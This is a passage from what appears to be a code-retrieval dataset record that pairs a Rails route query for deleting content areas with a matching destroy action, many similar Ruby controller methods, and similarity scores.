'MapArea was successfully updated.'\n format.html { redirect_to map_areas_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @map_area = MapArea.find(params[:id])\n respond_to do |format|\n if @map_area.update_attributes(params[:map_area])\n flash[:notice] = 'MapArea was successfully updated.'\n format.html { redirect_to map_areas_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n #format.html { redirect_to(@area, :notice => \"#{@area.to_s} was successfully updated.\") }\n format.html { redirect_to(locations_url, :notice => \"#{@area.to_s} was successfully updated.\") }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @lab_area.update(lab_area_params)\n format.html { redirect_to @lab_area, notice: 'Lab area was successfully updated.' }\n format.json { render :show, status: :ok, location: @lab_area }\n else\n format.html { render :edit }\n format.json { render json: @lab_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey_area = SurveyArea.find(params[:id])\n\n respond_to do |format|\n if @survey_area.update_attributes(params[:survey_area])\n format.html { redirect_to @survey_area, notice: 'Survey area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_areas\n if (canonical_address = address.try(:canonical_address))\n areas = canonical_address.areas\n elsif (zip = Postcode.search(postcode))\n areas = AreaZip.where(zip: zip.zip).map(&:area)\n if Settings.geography.area_lookup.use_open_north_api\n api = OpenNorthAPI.new\n area_codes = api.get_boundaries_for_lat_lng(zip.latitude, zip.longitude)\n area_codes.each do |area_type, code|\n areas << Area.find_by(area_type: area_type, code: code)\n end\n end\n if Settings.geography.area_lookup.use_canadian_province_lookup\n canadian_province_lookup = CanadianProvinceLookup.new\n if (code = canadian_province_lookup.get_province_for_postcode(zip.zip))\n areas << Area.find_by(area_type: 'canada_province', code: code)\n end\n end\n # TODO: Legacy mosaic code - delete once all orgs who use this have migrated to the newer, more flexible approach\n mosaic = Mosaic::Mosaic.find_by(postcode: postcode.upcase.delete!(' '))\n end\n\n areas = (areas ||= []).uniq\n self.areas.clear\n self.areas << (areas || [])\n\n # TODO: Legacy mosaic code - delete once all orgs who use this have migrated to the newer, more flexible approach\n if mosaic\n self.mosaic_group = mosaic.mosaic_group\n self.mosaic_code = mosaic.code\n save!\n end\n\n zip_source = zip || canonical_address\n if zip_source\n update_demographic_groups(zip_source.zip)\n end\n\n lat_lng_source = canonical_address || zip\n if lat_lng_source\n self.latitude = lat_lng_source.latitude\n self.longitude = lat_lng_source.longitude\n save!\n end\n end", "def update\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to @tarea, notice: 'La Tarea ha sido modificada correctamente.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_areas_skill\n @areas_skill = AreasSkill.find(params[:id])\n end", "def update\n respond_to do |format|\n if @area_edition.update(area_edition_params)\n format.html { redirect_to main_app.url_for([:edit, @product, @theme, @personalization, @layout, @area_edition]), notice: 'Area edition was successfully updated.' }\n format.json { render :show, status: :ok, location: @area_edition }\n else\n format.html { render :edit }\n format.json { render json: @area_edition.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @project_area.update(project_area_params)\n format.html { redirect_to @project_area, notice: 'Project area was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_area }\n else\n format.html { render :edit }\n format.json { render json: @project_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_content(params)\n put(set_path(params[:id]), params) if validate_params(params)\n end", "def update\n @group_area = GroupArea.find(params[:id])\n\n respond_to do |format|\n if @group_area.update_attributes(params[:group_area])\n format.html { redirect_to @group_area, notice: 'Group area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @area.update_attributes(area_params)\n flash[:notice] = \"#{@area.name} has been updated.\"\n redirect_to @area\n else\n render :action => 'edit'\n end\n end", "def update\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to root_path, notice: 'Tarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def set_content\n @content = Content.find(params[:id])\n \tauthorize [:admin, @content]\n end", "def update\n respond_to do |format|\n if @city_area.update(city_area_params)\n format.html { redirect_to @city_area, notice: \"City area was successfully updated.\" }\n format.json { render :show, status: :ok, location: @city_area }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @city_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @question_content_area = QuestionContentArea.find(params[:id])\n @question_content_area.destroy\n\n respond_to do |format|\n format.html { redirect_to question_content_areas_url }\n format.json { head :no_content }\n end\n end", "def update\n @carea = Carea.find(params[:id])\n\n respond_to do |format|\n if @carea.update_attributes(params[:carea])\n format.html { redirect_to(@carea, :notice => 'Carea was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @carea.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @researcharea = Researcharea.find(params[:id])\n\n respond_to do |format|\n if @researcharea.update_attributes(params[:researcharea])\n format.html { redirect_to @researcharea, notice: 'Research area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @researcharea.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interest_area = InterestArea.find(params[:id])\n\n respond_to do |format|\n if @interest_area.update_attributes(params[:interest_area])\n format.html { redirect_to @interest_area, notice: 'Interest area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @question_content_area = QuestionContentArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def update\n respond_to do |format|\n if @userarea.update(userarea_params)\n format.html { redirect_to @userarea, notice: 'Userarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @userarea }\n else\n format.html { render :edit }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @join_specific_content_to_place.update(join_specific_content_to_place_params)\n format.html { redirect_to @join_specific_content_to_place, notice: 'Join specific content to place was successfully updated.' }\n format.json { render :show, status: :ok, location: @join_specific_content_to_place }\n else\n format.html { render :edit }\n format.json { render json: @join_specific_content_to_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @research_area.update(research_area_params)\n format.html { redirect_to @research_area, notice: 'Research area was successfully updated.' }\n format.json { render :show, status: :ok, location: @research_area }\n else\n format.html { render :edit }\n format.json { render json: @research_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @micro_area.update(micro_area_params)\n format.html { redirect_to @micro_area, flash: { success: \"Micro Área atualizada com sucesso!\" } }\n format.json { render :show, status: :ok, location: @micro_area }\n else\n format.html { render :edit }\n format.json { render json: @micro_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n section_chunks = get_chunks(params)\n\n puts params\n redirect_to @course\n\n return\n\n sections = params['sections']\n if sections.nil?\n # Loop through course's existing sections.\n @course.sections.each do |section|\n\n end\n end\n \n respond_to do |format|\n # Update subcontents\n if update_section_chunks(section_chunks)\n format.html { redirect_to @course }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @question_content_area = QuestionContentArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def update\n super\n\n if resource.save\n params.permit(:tags_interest_areas => [])\n @interest_tags = params[:tags_interest_areas]\n\n resource.interest_areas.destroy_all\n\n if not @interest_tags.nil?\n @interest_tags.each do |tag|\n temp_tag = Tag.find_by_tag_name(tag)\n if not temp_tag.nil?\n resource.interest_areas << temp_tag if not resource.interest_areas.include?(temp_tag) \n else\n resource.interest_areas << Tag.create(tag_name: tag)\n end\n end\n end\n\n params.permit(:tags_expertise_areas => [])\n @expertise_tags = params[:tags_expertise_areas]\n\n resource.expertise_areas.destroy_all\n\n if not @expertise_tags.nil?\n @expertise_tags.each do |tag|\n temp_tag = Tag.find_by_tag_name(tag)\n if not temp_tag.nil?\n resource.expertise_areas << Tag.find_by_tag_name(tag) if not resource.expertise_areas.include?(temp_tag) \n else\n resource.expertise_areas << Tag.create(tag_name: tag)\n end\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @area_code.update(area_code_params)\n format.html { redirect_to @area_code, notice: 'Area code was successfully updated.' }\n format.json { render :show, status: :ok, location: @area_code }\n else\n format.html { render :edit }\n format.json { render json: @area_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @patent = Patent.find(params[:id])\n\n respond_to do |format|\n if params[:patent][:research_areas]\n research_area = ResearchArea.find(params[:patent][:research_areas].to_i)\n @patent.research_areas << research_area\n @patent.save\n format.json { render json: research_area }\n elsif @patent.update_attributes(params[:patent])\n format.html { redirect_to @patent, notice: 'Patent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patent.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n if @country_area.update_attributes(params[:country_area])\n format.html { redirect_to @country_area, notice: 'Country area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_city_area\n @city_area = CityArea.friendly.find(params[:id])\n end", "def update\n respond_to do |format|\n if @areas_skill.update(areas_skill_params)\n format.html { redirect_to @areas_skill, notice: 'Areas skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @areas_skill }\n else\n format.html { render :edit }\n format.json { render json: @areas_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_sub_area\n @sub_area = SubArea.find(params[:id])\n end", "def set_sub_area\n @sub_area = SubArea.find(params[:id])\n end", "def update\n respond_to do |format|\n if @content.update(content_params)\n format.html { redirect_to @content.metamorphosize, notice: 'Content was successfully updated.' }\n format.json { render :show, status: :ok, location: @content.metamorphosize }\n else\n format.html { render :edit }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to areas_path, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @about_content.update(about_content_params)\n format.html { redirect_to @about_content, notice: 'About content was successfully updated.' }\n format.json { render :show, status: :ok, location: @about_content }\n else\n format.html { render :edit }\n format.json { render json: @about_content.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @postulate_area_interest.update(postulate_area_interest_params)\n format.html { redirect_to @postulate_area_interest }\n format.json { render :show, status: :ok, location: @postulate_area_interest }\n else\n format.html { render :edit }\n format.json { render json: @postulate_area_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def sub_area_params\n params.require(:sub_area).permit(:code_capes, :title, :description, :area_id)\n end", "def update\n @projectarea = Projectarea.find(params[:id])\n\n respond_to do |format|\n if @projectarea.update_attributes(params[:projectarea])\n flash[:notice] = 'Projectarea was successfully updated.'\n format.html { redirect_to(@projectarea) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @projectarea.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @content = Content.find(params[:id])\n\n if @content.update(content_params)\n head :no_content\n else\n render json: @content.errors, status: :unprocessable_entity\n end\n end", "def area_params\n params.require(:area).permit(:code, :name, :reservable, :status, :area_id, :institute_id,\n resources_attributes: [:id, :code, :name, :description, :movil, :pedagogic, :resource_id, :area_id, :_destroy])\n end", "def new\n @area = Area.new\n @other_areas = Area.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def update\n respond_to do |format|\n if params[:btn_cancel].present?\n format.html { redirect_to @core_area}\n format.json { head :no_content }\n elsif @core_area.update(core_area_params)\n format.html { redirect_to @core_area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @core_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @curriculum_area = CurriculumArea.find(params[:id])\n\n respond_to do |format|\n if @curriculum_area.update(curriculum_area_params)\n format.html { redirect_to [:admin, @curriculum_area], notice: 'Curriculum area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curriculum_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @content = Content.find_by_id(params[:id])\n if @content.update_attributes(:name=>params[:body][:name],:description=>params[:body][:description])\n render :json=>{:response=>\"success\"}\n else\n render :json=>failure1(@content.errors)\n end\n end", "def index\n @specialization_areas = SpecializationArea.all\n end", "def set_place_of_use_area\n @place_of_use_area = PlaceOfUseArea.find(params[:id])\n end", "def update\n @structure_content = Structure::Content.find(params[:id])\n\n respond_to do |format|\n if @structure_content.update_attributes(params[:structure_content])\n format.html { redirect_to @structure_content, notice: 'Content was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @structure_content.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @page_chunk = PageChunk.find(params[:id])\n #TODO: Not sure why \"undefined\" is a key.\n #TODO: multiple editable section on one page not working; the content for the last\n # is always \n @page_chunk.content = params[:content][:undefined][:value]\n @page_chunk.save!\n\n render text: \"\"\n=begin\n respond_to do |format|\n if @page_chunk.update(page_chunk_params)\n format.html { redirect_to @page_chunk, notice: 'Page chunk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @page_chunk.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n format.html { redirect_to @area, notice: 'Area was successfully created.' }\n format.json { render json: @area, status: :created, location: @area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def put_content(content_id, payload)\n put_json(content_url(content_id), payload)\n end", "def setAreas\n return unless self.distance_changed? || self.height_gain_changed? || self.height_loss_changed?\n PlaceRouteInArea.delete place_routes_in_area_ids\n Place.areas.all.each do |area|\n waypoints.each do |waypoint|\n if(area.inArea(waypoint.latitude, waypoint.longitude))\n PlaceRouteInArea.create(:place_id => area.id, :route_id => id)\n\t break\n end\n end\n end\n end", "def destroy\n @core_area.destroy\n respond_to do |format|\n format.html { redirect_to core_areas_url }\n format.json { head :no_content }\n end\n end", "def list_service_areas\n @service_areas = smart_listing_create(:service_areas, @service_areas, partial: \"/service_areas/index\",\n default_sort: { created_at: \"desc\" }, page_sizes: [10, 50, 100])\n end", "def create\n @specialization_area = SpecializationArea.new(specialization_area_params)\n\n respond_to do |format|\n if @specialization_area.save\n format.html { redirect_to admin_specialization_area_path(@specialization_area), notice: 'Specialization area was successfully created.' }\n format.json { render :show, status: :created, location: @specialization_area }\n else\n format.html { render :new }\n format.json { render json: @specialization_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_content\n @content = Content.find(params[:id])\n end", "def set_content\n @content = Content.find(params[:id])\n end", "def set_content\n @content = Content.find(params[:id])\n end", "def set_content\n @content = Content.find(params[:id])\n end", "def update\n place = Place.find(params[:id])\n\n if place.update_attributes(params[:place])\n head :no_content\n else\n render json: place.errors, status: :unprocessable_entity\n end\n end", "def update\n require_user()\n respond_to do |format|\n if @area_of_expertise.update(area_of_expertise_params)\n format.html { redirect_to @area_of_expertise, notice: 'Area of expertise was successfully updated.' }\n format.json { render :show, status: :ok, location: @area_of_expertise }\n else\n format.html { render :edit }\n format.json { render json: @area_of_expertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @subject_area = SubjectArea.find(params[:id])\n\n respond_to do |format|\n if @subject_area.update_attributes(params[:subject_area])\n format.html { redirect_to(@subject_area, :notice => 'Subject area was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @content = Content.find(params[:id])\n\n respond_to do |format|\n if @content.update_attributes(params[:content])\n format.html { redirect_to @content, :notice => 'Content was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @content.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.65948105", "0.6158481", "0.6158481", "0.6158481", "0.60637283", "0.59376276", "0.59227276", "0.5866951", "0.58296347", "0.5743351", "0.57418835", "0.5712889", "0.56902057", "0.5688713", "0.56774104", "0.5653293", "0.5653293", "0.5646075", "0.56446224", "0.5625076", "0.5595939", "0.55880654", "0.5586956", "0.5585848", "0.5578669", "0.55697477", "0.5569721", "0.5566521", "0.5559553", "0.55578536", "0.5553435", "0.5553435", "0.5531188", "0.55301845", "0.5529842", "0.54910034", "0.5489832", "0.5483272", "0.5483272", "0.5483272", "0.5479667", "0.5474733", "0.5473299", "0.54611963", "0.5453888", "0.5430368", "0.5428372", "0.54264444", "0.5411488", "0.5409134", "0.5405233", "0.5355728", "0.5334862", "0.5315913", "0.5311964", "0.5306267", "0.5304433", "0.5298671", "0.5291886", "0.5290053", "0.5269231", "0.5216876", "0.5203151", "0.52012545", "0.5190028", "0.5181466", "0.5174313", "0.5169642", "0.5169642", "0.5163187", "0.5162696", "0.51520365", "0.5144243", "0.5138928", "0.5131422", "0.5124972", "0.51239616", "0.5117508", "0.5114838", "0.511269", "0.5108117", "0.5107059", "0.5100474", "0.5099131", "0.509547", "0.5090604", "0.5090604", "0.50889826", "0.50871474", "0.50871205", "0.5080295", "0.50721717", "0.5067185", "0.5067185", "0.5067185", "0.5067185", "0.5066946", "0.5065972", "0.50648034", "0.506032" ]
0.7002027
0
DELETE /contentareas/1 DELETE /contentareas/1.json
def destroy @contentarea = Contentarea.find(params[:id]) @contentarea.destroy respond_to do |format| format.html { redirect_to contentareas_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @question_content_area = QuestionContentArea.find(params[:id])\n @question_content_area.destroy\n\n respond_to do |format|\n format.html { redirect_to question_content_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @core_area.destroy\n respond_to do |format|\n format.html { redirect_to core_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area.destroy\n respond_to do |format|\n format.html { redirect_to admin_areas_url, notice: 'Area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sub_area.destroy\n respond_to do |format|\n format.html { redirect_to sub_areas_url, notice: 'Sub area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @area.destroy\n respond_to do |format|\n format.html { redirect_to areas_url, notice: 'El Área fue eliminada éxitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n if @area.children.size == 0 and @area.name != \"localhost\"\n @area.destroy\n flash[:notice] = \"Deleted #{@area.to_s}\" \n else\n flash[:notice] = \"#{@area.to_s} not deleted. It has children or is the localhost node.\" \n end\n\n respond_to do |format|\n #format.html { redirect_to(areas_url) }\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(areas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(areas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @group_area = GroupArea.find(params[:id])\n @group_area.destroy\n\n respond_to do |format|\n format.html { redirect_to group_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cabinet_production_area.destroy\n respond_to do |format|\n format.html { redirect_to cabinet_production_areas_path, notice: 'Запис успішно видалено.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_area = SurveyArea.find(params[:id])\n @survey_area.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area_of_law = AreaOfLaw.find(params[:id])\n @area_of_law.destroy\n purge_all_pages\n\n respond_to do |format|\n format.html { redirect_to admin_areas_of_law_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.destroy\n format.html { redirect_to areas_url,\n notice: (crud_notice('destroyed', @area) + \"#{undo_link(@area)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to areas_url, alert: \"#{@area.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete_area(area)\n reset_meta_data\n segments.each do |seg|\n seg.delete_area(area)\n update_meta_data(seg) unless seg.empty?\n end\n segments.delete_if { |seg| seg.empty? }\n end", "def destroy\r\n @area = Area.find(params[:id])\r\n domain_id = @area.domain_id\r\n @area.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to areas_url domain_id: domain_id, notice: 'Area was successfully deleted.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @country_area = CountryArea.find(params[:id])\n @country_area.destroy\n\n respond_to do |format|\n format.html { redirect_to country_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area_attribute.destroy\n respond_to do |format|\n format.html { redirect_to area_attributes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @tarea.destroy\n respond_to do |format|\n format.html { redirect_to tareas_url, notice: 'Tarea was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @researcharea = Researcharea.find(params[:id])\n @researcharea.destroy\n\n respond_to do |format|\n format.html { redirect_to researchareas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area_type = AreaType.find(params[:id])\n @area_type.destroy\n\n respond_to do |format|\n format.html { redirect_to area_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end", "def destroy\n @postulate_area_interest.destroy\n respond_to do |format|\n format.html { redirect_to postulate_area_interests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @area = Area.find(params[:id])\n @area.destroy\n respond_with(@area)\n end", "def destroy\n @tarea.destroy\n respond_to do |format|\n format.html { redirect_to tareas_url, notice: 'La Tarea ha sido eliminada correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lab_area.destroy\n respond_to do |format|\n format.html { redirect_to lab_areas_url, notice: 'Lab area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @carea = Carea.find(params[:id])\n @carea.destroy\n\n respond_to do |format|\n format.html { redirect_to(careas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @curriculum_area = CurriculumArea.find(params[:id])\n @curriculum_area.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_curriculum_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tarea = Tarea.find(params[:id])\n @tarea.destroy\n\n respond_to do |format|\n format.html { redirect_to(tareas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @city_area.destroy\n respond_to do |format|\n format.html { redirect_to city_areas_url, notice: \"City area was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @projectarea = Projectarea.find(params[:id])\n @projectarea.destroy\n\n respond_to do |format|\n format.html { redirect_to(projectareas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @interest_area = InterestArea.find(params[:id])\n @interest_area.destroy\n\n respond_to do |format|\n format.html { redirect_to interest_areas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @issue_area.destroy\n respond_to do |format|\n format.html { redirect_to issue_areas_url, notice: 'Issue area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @district_area.destroy\n respond_to do |format|\n format.html { redirect_to district_areas_url, notice: 'District area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @district_area.destroy\n respond_to do |format|\n format.html { redirect_to district_areas_url, notice: 'District area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @micro_area.destroy\n respond_to do |format|\n format.html { redirect_to micro_areas_url, flash: { success: \"Micro Área apagada com sucesso!\" } }\n format.json { head :no_content }\n end\n end", "def destroy\n @specialization_area.destroy\n respond_to do |format|\n format.html { redirect_to admin_specialization_areas_url, notice: 'Specialization area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_area.destroy\n respond_to do |format|\n format.html { redirect_to project_areas_url, notice: 'Project area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_condo = ContentCondo.find(params[:id])\n @content_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_condos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content = @content_admin.content\n @content_admin.destroy\n respond_to do |format|\n format.js\n end\n end", "def destroy\n @research_area.destroy\n respond_to do |format|\n format.html { redirect_to research_areas_url, notice: 'Research area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @area_edition.destroy\n respond_to do |format|\n format.html { redirect_to main_app.url_for([@product, @theme, @personalization, @layout, :area_editions]), notice: 'Area edition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @section.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @tareapositivas = Tarea.where(listo: true)\n @tarea.destroy\n respond_to do |format|\n format.html { redirect_to tareas_url, notice: 'Tarea was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @subject_area = SubjectArea.find(params[:id])\n @subject_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(subject_areas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @userarea.destroy\n respond_to do |format|\n format.html { redirect_to user_area_destroy_path(), notice: 'Userarea was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_datum = ContentDatum.find(params[:id])\n @content_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to content_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_block.destroy\n respond_to do |format|\n format.html { redirect_to content_blocks_url, notice: 'Content block was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_partial = ContentPartial.find(params[:id])\n @content_partial.destroy\n\n respond_to do |format|\n format.html { redirect_to content_partials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @areco = Areco.find(params[:id])\n @areco.destroy\n\n respond_to do |format|\n format.html { redirect_to arecos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_explore = ContentExplore.find(params[:id])\n @content_explore.destroy\n\n respond_to do |format|\n format.html { redirect_to content_explores_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content.destroy\n respond_to do |format|\n format.html { redirect_to contents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @homepage_section_content.destroy\n respond_to do |format|\n format.html { redirect_to homepage_index_path, notice: 'Homepage section content was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_item_condo = ContentItemCondo.find(params[:id])\n @content_item_condo.destroy\n\n respond_to do |format|\n format.html { redirect_to content_item_condos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_form = ContentForm.find(params[:id])\n @content_form.destroy\n\n respond_to do |format|\n format.html { redirect_to content_forms_url }\n format.json { head 